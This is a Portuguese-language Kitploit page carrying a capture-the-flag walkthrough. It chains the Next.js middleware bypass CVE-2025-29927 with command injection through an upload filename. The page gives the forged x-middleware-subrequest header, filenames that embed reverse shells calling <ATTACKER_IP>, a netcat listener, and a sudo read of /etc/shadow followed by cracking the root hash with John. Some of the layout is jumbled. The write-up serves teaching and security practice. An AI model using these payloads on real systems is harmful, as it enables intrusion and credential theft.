Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-29927-Proof-of-Concept — Desafio Capture the Flag: CVE-2025-29927 em combinação com uma vulnerabilidade de injeção de comandos | Kitploit
Ferramentas/GitHubGitHub/si-ni/cve-2025-29927-proof-of-concept
Quebra de SenhasEscalada de PrivilégiosAnálise de VulnerabilidadesExploração de Aplicações WebCTFComando e ControleAprendizado e Educação
GitHubsi-ni/cve-2025-29927-proof-of-concept

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-29927-Proof-of-Concept

Desafio Capture the Flag: CVE-2025-29927 em combinação com uma vulnerabilidade de injeção de comandos

Ver Repositório
2há 7 mesesAinda não revisado

Passo a Passo

Passo 1 (5 min)

Dica Quais serviços de rede estão expostos pelo alvo?

— — —

Solução
root@kitploit:~

    kali@kali:~$ nmap <TARGET_IP>
    kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
  

Passo 2 (5 min)

Dica 1 A página inicial revela apenas uma página de login, mas servidores web frequentemente expõem caminhos adicionais.
Dica 2 Tente usar uma ferramenta de brute force de diretórios como Gobuster ou DirBuster.

— — —

Solução
root@kitploit:~

    kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
  
root@kitploit:~

    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    api                  (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
    apis                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
    cgi-bin/             (Status: 308) [Size: 8] [--> /cgi-bin]
    dashboard            (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
    favicon.ico          (Status: 200) [Size: 25931]
    login                (Status: 200) [Size: 6252]
    Progress: 4613 / 4613 (100.00%)
    ===============================================================
    Finished
    ===============================================================
  

Passo 3 (20 min)

Dica 1 A página /dashboard redireciona para /login. Você consegue encontrar alguma informação na página de login que permita contornar o redirecionamento?
image
Dica 2 Você consegue encontrar algo sobre a versão 15.2.2 do Next.js?
Dica 3 Pesquise sobre CVE-2025-29927. Use o proxy do Burp Suite para interceptar a requisição e manipular os cabeçalhos antes de encaminhar.

— — —

Solução

Contexto

Muitas aplicações web protegem rotas sensíveis (ex.: /dashboard) usando middleware. O middleware verifica a requisição, valida cookies de sessão e confirma permissões do usuário. Se as verificações falharem, o middleware normalmente redireciona o usuário para /login.

Mecanismo da Vulnerabilidade

CVE-2025-29927 é uma falha de design no processamento de middleware do Next.js. Ela permite que um invasor ignore completamente a proteção do middleware explorando o cabeçalho x-middleware-subrequest. O Next.js usa este cabeçalho internamente para evitar loops infinitos de middleware. Quando uma requisição é processada, a função runMiddleware verifica os cabeçalhos da requisição:
  • Se x-middleware-subrequest estiver presente
  • e seu valor contiver o nome do middleware
  • então o Next.js pula a execução do middleware e encaminha a requisição diretamente
Isso era pretendido como uma otimização interna, mas a falha é que usuários externos também podem definir esse cabeçalho.

O código vulnerável

root@kitploit:~

    const subreq = params.request.headers["x-middleware-subrequest"];
    const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
    if (subrequests.includes(middlewareInfo.name)) {
      result = {
        response: NextResponse.next(),
        waitUntil: Promise.resolve(),
      }
      continue;
    }
  
O Next.js introduziu uma profundidade máxima de recursão para a execução do middleware. Isso foi implementado para evitar loops infinitos, mas não afeta a vulnerabilidade. Ao usar este cabeçalho, dizemos ao middleware: "Esta já é uma requisição gerada pelo middleware — não execute o middleware novamente." Agora, o Next.js remove o cabeçalho de todas as requisições externas recebidas antes da execução do middleware. O cabeçalho é confiável apenas quando é criado dentro do runtime do Next.js durante o encadeamento legítimo de middleware. Concretamente, o valor x-middleware-subrequest agora é validado contra uma string hexadecimal gerada aleatoriamente, garantindo que apenas requisições internas legítimas de sessão passem nas verificações de autorização. Portanto, mesmo que um invasor envie o cabeçalho, o Next.js agora pode distinguir entre uma sub-requisição interna real (que carrega o token hexadecimal correto) e uma falsificada por um invasor externo.

Passo 4 (15 min)

Dica 1 Os uploads de arquivos também são protegidos pelo middleware, então você também deve enviar o cabeçalho do passo 3 em cada requisição.
Dica 2 A entrada do usuário sempre apresenta um alto risco. O que mais, além do conteúdo do arquivo, é considerado entrada do usuário aqui? E você consegue encontrar alguma informação na página que revele como a imagem é processada?
Dica 3 Experimente alguns nomes de arquivo maliciosos. https://www.revshells.com/

— — —

Solução

Explicação

root@kitploit:~

    const filename = file.name; // VULNERABLE: No sanitization!
    const sanitizedFilename = filename.replace(/[><&|;$\\:"'!\*\?\#\/]/g, '_')
    const filepath = join(uploadsDir, sanitizedFilename);
    await writeFile(filepath, buffer);
    
const command = `convert ${filepath} -resize 100x100 ${join(uploadsDir, 'resized_' + filename)}`;
return new Promise((resolve) => { exec(command, { shell: '/bin/bash', timeout: 0, maxBuffer: 1024*1024*10 }, (error, stdout, stderr) => { ...
O nome original do arquivo é controlado pelo usuário e pode conter caracteres maliciosos. O desenvolvedor remove alguns caracteres perigosos (lista negra em vez de lista branca). O comando convert é executado usando exec(), e o nome do arquivo original (entrada do usuário) é inserido diretamente no comando shell. Uma correção poderia ser usar nomes de arquivo gerados aleatoriamente em vez de nomes de arquivo do usuário e usar uma API segura que evite o shell.

Exploit

root@kitploit:~

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
  
nomes de arquivo maliciosos: A flag está localizada em :

Bônus (5 min)

Dica 1 Quais direitos sudo o webuser possui?
Dica 2 Ferramentas como John the Ripper ou Hashcat podem ajudar. Descompacte o arquivo rockyou.txt.gz com o comando gzip -d /usr/share/wordlists/rockyou.txt.gz.

— — —

Solução
root@kitploit:~

    target@target:~$ sudo -l
    Matching Defaults entries for webuser on photoresizer:
      env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
    User webuser may run the following commands on photoresizer:
      (ALL) NOPASSWD: /usr/bin/cat /etc/shadow
  
root@kitploit:~

    target@target:~$ sudo cat /etc/shadow
    root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::
  
root@kitploit:~

    kali@kali:~$ echo 'root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::' > hash.txt
    kali@kali:~$ john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
    rockyou          (root)     
    1g 0:00:00:00 DONE (2026-02-01 05:42) 1.639g/s 157.3p/s 157.3c/s 157.3C/s 123456..yellow
  
root@kitploit:~

    target@target:~$ su - root
  
A flag está localizada em /root:
root@kitploit:~

    FLAG{Pr1v1l3g3_Esc4l4t10n_R00T_C0mpr0m1s3d}
  
Baixar ferramenta

Para versões 13.2.0 e posteriores

root@kitploit:~
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

image
image

Correção

x-middleware-subrequest
root@kitploit:~

    image.jpeg; nc -c sh <ATTACKER_IP> 4000 #
    image.jpeg; sh -i >& /dev/tcp/<ATTACKER_IP>/4000 0>&1 #
  
image
root@kitploit:~

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
    connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 48056
  
/home/webuser
root@kitploit:~

    FLAG{C0mmand_Inj3cti0n_Pwn3d_W3bUs3r}